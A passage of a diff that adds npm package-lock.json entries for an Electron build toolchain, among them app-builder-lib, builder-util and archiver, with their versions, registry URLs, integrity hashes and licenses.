"https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", + "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "dev": true, + "license": "MIT", + "dependencies": { + "defer-to-connect": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/@types/cacheable-request": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", + "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-cache-semantics": "*", + "@types/keyv": "^3.1.4", + "@types/node": "*", + "@types/responselike": "^1.0.0" + } + }, + "node_modules/@types/debug": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz", + "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/fs-extra": { + "version": "9.0.13", + "resolved": "https://registry.npmjs.org/@types/fs-extra/-/fs-extra-9.0.13.tgz", + "integrity": "sha512-nEnwB++1u5lVDM2UI4c1+5R+FYaKfaAzS4OococimjVm3nQw3TuzH5UNsocrcTBbhnerblyHj4A49qXbIiZdpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.4.tgz", + "integrity": "sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/keyv": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", + "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "16.18.126", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.18.126.tgz", + "integrity": "sha512-OTcgaiwfGFBKacvfwuHzzn1KLxH/er8mluiy8/uM3sGXHaRe73RrSIj01jow9t4kJEW633Ov+cOexXeiApTyAw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/plist": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.5.tgz", + "integrity": "sha512-E6OCaRmAe4WDmWNsL/9RMqdkkzDCY1etutkflWk4c+AcjDU07Pcz1fQwTX0TQz+Pxqn9i4L1TU3UFpjnrcDgxA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": "*", + "xmlbuilder": ">=11.0.1" + } + }, + "node_modules/@types/responselike": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz", + "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/verror": { + "version": "1.10.11", + "resolved": "https://registry.npmjs.org/@types/verror/-/verror-1.10.11.tgz", + "integrity": "sha512-RlDm9K7+o5stv0Co8i8ZRGxDbrTxhJtgjqjFyVh/tXQyl/rYtTKlnTvZ88oSTeYREWurwx20Js4kTuKCsFkUtg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/@types/yauzl": { + "version": "2.10.3", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.3.tgz", + "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@xmldom/xmldom": { + "version": "0.8.11", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.11.tgz", + "integrity": "sha512-cQzWCtO6C8TQiYl1ruKNn2U6Ao4o4WBBcbL61yJl84x+j5sOWWFU9X7DpND8XZG3daDppSsigMdfAIl2upQBRw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/7zip-bin": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/7zip-bin/-/7zip-bin-5.2.0.tgz", + "integrity": "sha512-ukTPVhqG4jNzMro2qA9HSCSSVJN3aN7tlb+hfqYCt3ER0yWroeA2VR38MNrOHLQ/cVj+DaIMad0kFCtWWowh/A==", + "dev": true, + "license": "MIT" + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/app-builder-bin": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/app-builder-bin/-/app-builder-bin-4.0.0.tgz", + "integrity": "sha512-xwdG0FJPQMe0M0UA4Tz0zEB8rBJTRA5a476ZawAqiBkMv16GRK5xpXThOjMaEOFnZ6zabejjG4J3da0SXG63KA==", + "dev": true, + "license": "MIT" + }, + "node_modules/app-builder-lib": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/app-builder-lib/-/app-builder-lib-24.13.3.tgz", + "integrity": "sha512-FAzX6IBit2POXYGnTCT8YHFO/lr5AapAII6zzhQO3Rw4cEDOgK+t1xhLc5tNcKlicTHlo9zxIwnYCX9X2DLkig==", + "dev": true, + "license": "MIT", + "dependencies": { + "@develar/schema-utils": "~2.6.5", + "@electron/notarize": "2.2.1", + "@electron/osx-sign": "1.0.5", + "@electron/universal": "1.5.1", + "@malept/flatpak-bundler": "^0.4.0", + "@types/fs-extra": "9.0.13", + "async-exit-hook": "^2.0.1", + "bluebird-lst": "^1.0.9", + "builder-util": "24.13.1", + "builder-util-runtime": "9.2.4", + "chromium-pickle-js": "^0.2.0", + "debug": "^4.3.4", + "ejs": "^3.1.8", + "electron-publish": "24.13.1", + "form-data": "^4.0.0", + "fs-extra": "^10.1.0", + "hosted-git-info": "^4.1.0", + "is-ci": "^3.0.0", + "isbinaryfile": "^5.0.0", + "js-yaml": "^4.1.0", + "lazy-val": "^1.0.5", + "minimatch": "^5.1.1", + "read-config-file": "6.3.2", + "sanitize-filename": "^1.6.3", + "semver": "^7.3.8", + "tar": "^6.1.12", + "temp-file": "^3.4.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "dmg-builder": "24.13.3", + "electron-builder-squirrel-windows": "24.13.3" + } + }, + "node_modules/app-builder-lib/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/app-builder-lib/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/app-builder-lib/node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/app-builder-lib/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/archiver": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-5.3.2.tgz", + "integrity": "sha512-+25nxyyznAXF7Nef3y0EbBeqmGZgeN/BxHX29Rs39djAfaFalmQ89SE6CWyDCHzGL0yt/ycBtNOmGTW0FyGWNw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "archiver-utils": "^2.1.0", + "async": "^3.2.4", + "buffer-crc32": "^0.2.1", + "readable-stream": "^3.6.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^2.2.0", + "zip-stream": "^4.1.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/archiver-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", + "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "glob": "^7.1.4", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/archiver-utils/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/archiver-utils/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/archiver-utils/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-exit-hook": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", + "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/bluebird-lst": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/bluebird-lst/-/bluebird-lst-1.0.9.tgz", + "integrity": "sha512-7B1Rtx82hjnSD4PGLAjVWeYH3tHAcVUmChh85a3lltKQm6FresXh9ErQo6oAv6CqxttczC3/kEg8SY5NluPuUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "bluebird": "^3.5.5" + } + }, + "node_modules/boolean": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz", + "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/buffer-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.1.tgz", + "integrity": "sha512-QoV3ptgEaQpvVwbXdSO39iqPQTCxSF7A5U99AxbHYqUdCizL/lH2Z0A2y6nbZucxMEOtNyZfG2s6gsVugGpKkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/builder-util": { + "version": "24.13.1", + "resolved": "https://registry.npmjs.org/builder-util/-/builder-util-24.13.1.tgz", + "integrity": "sha512-NhbCSIntruNDTOVI9fdXz0dihaqX2YuE1D6zZMrwiErzH4ELZHE6mdiB40wEgZNprDia+FghRFgKoAqMZRRjSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/debug": "^4.1.6", + "7zip-bin": "~5.2.0", + "app-builder-bin": "4.0.0", + "bluebird-lst": "^1.0.9", + "builder-util-runtime": "9.2.4", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "debug": "^4.3.4", + "fs-extra": "^10.1.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.1", + "is-ci": "^3.0.0", + "js-yaml": "^4.1.0", + "source-map-support": "^0.5.19", + "stat-mode": "^1.0.0", + "temp-file": "^3.4.0" + } + }, + "node_modules/builder-util-runtime": { + "version": "9.2.4", + "resolved": "https://registry.npmjs.org/builder-util-runtime/-/builder-util-runtime-9.2.4.tgz", + "integrity": "sha512-upp+biKpN/XZMLim7aguUyW8s0FUpDvOtK6sbanMFDAMBzpHDqdhgVYm6zc9HJ6nWo7u2Lxk60i2M6Jd3aiNrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4", + "sax": "^1.2.4" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/builder-util/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/builder-util/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/builder-util/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.6.0" + } + }, + "node_modules/cacheable-request": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", + "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/chromium-pickle-js": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", + "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", + "dev": true, + "license": "MIT" + }, + "node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-truncate": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", + "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "slice-ansi": "^3.0.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": ">=8" + 